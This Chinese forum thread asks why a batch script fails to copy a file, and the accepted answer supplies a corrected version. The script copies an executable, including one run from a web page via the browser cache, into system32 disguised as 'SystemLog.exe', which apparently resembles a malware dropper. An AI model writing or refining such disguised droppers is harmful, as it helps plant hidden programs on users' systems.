批处理用if not exist命令判断文件复制不成功

if not exist "%cd%\yongyou.exe" goto 1
copy "%cd%\yongyou.exe" %windir%\system32\SystemLog.exe /y
goto 2
:1
copy "%cd%\yongyou[1].exe" %windir%\system32\SystemLog.exe /y
:2
exit

程序有时会通过网页运行.
我的意思是,如果不是在网页中运行,那么就复制当前文件yongyou.exe到系统目录下systemlog.exe
如果是在网页中运行那么就复制yongyou[1].exe到系统目录下systemlog.exe

可是现在在网页中运行,并不会把这个yongyou.exe复制到systemlog.exe

请问错在哪里了.

是网页中运行不需要加[1]吗,可是我在进程里面看到是[1].exe的

第1个回答  推荐于2017-11-23
以上脚本写法是正确

问题是你的BAT文件存在哪里,这个%cd%是指BAT所在的目录

还有就是BAT不会自动检测并运行,而是要人工双击打开后,才会去判断执行操作的

如果在运行网页时的临时文件[1].exe是存在于“%USERPROFILE%\Local Settings\Temporary Internet Files”中的,而不是在"%cd%\中.

所以方法是
if not exist "%cd%\yongyou.exe" goto 1
copy "%cd%\yongyou.exe" %windir%\system32\SystemLog.exe /y
goto 2
:1
copy "%USERPROFILE%\Local Settings\Temporary Internet Files\[1].exe" %windir%\system32\SystemLog.exe /y
:2
exit

这个BAT文件应处于:不在网页中运行时将会产生yongyou.exe文件的同一目录。

执行流程是:打开程序后不管在不在网页中运行,你都得双击该BAT文件本回答被提问者采纳
第2个回答  2010-04-04
这个问题建议到黑客基地去问比较好.

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网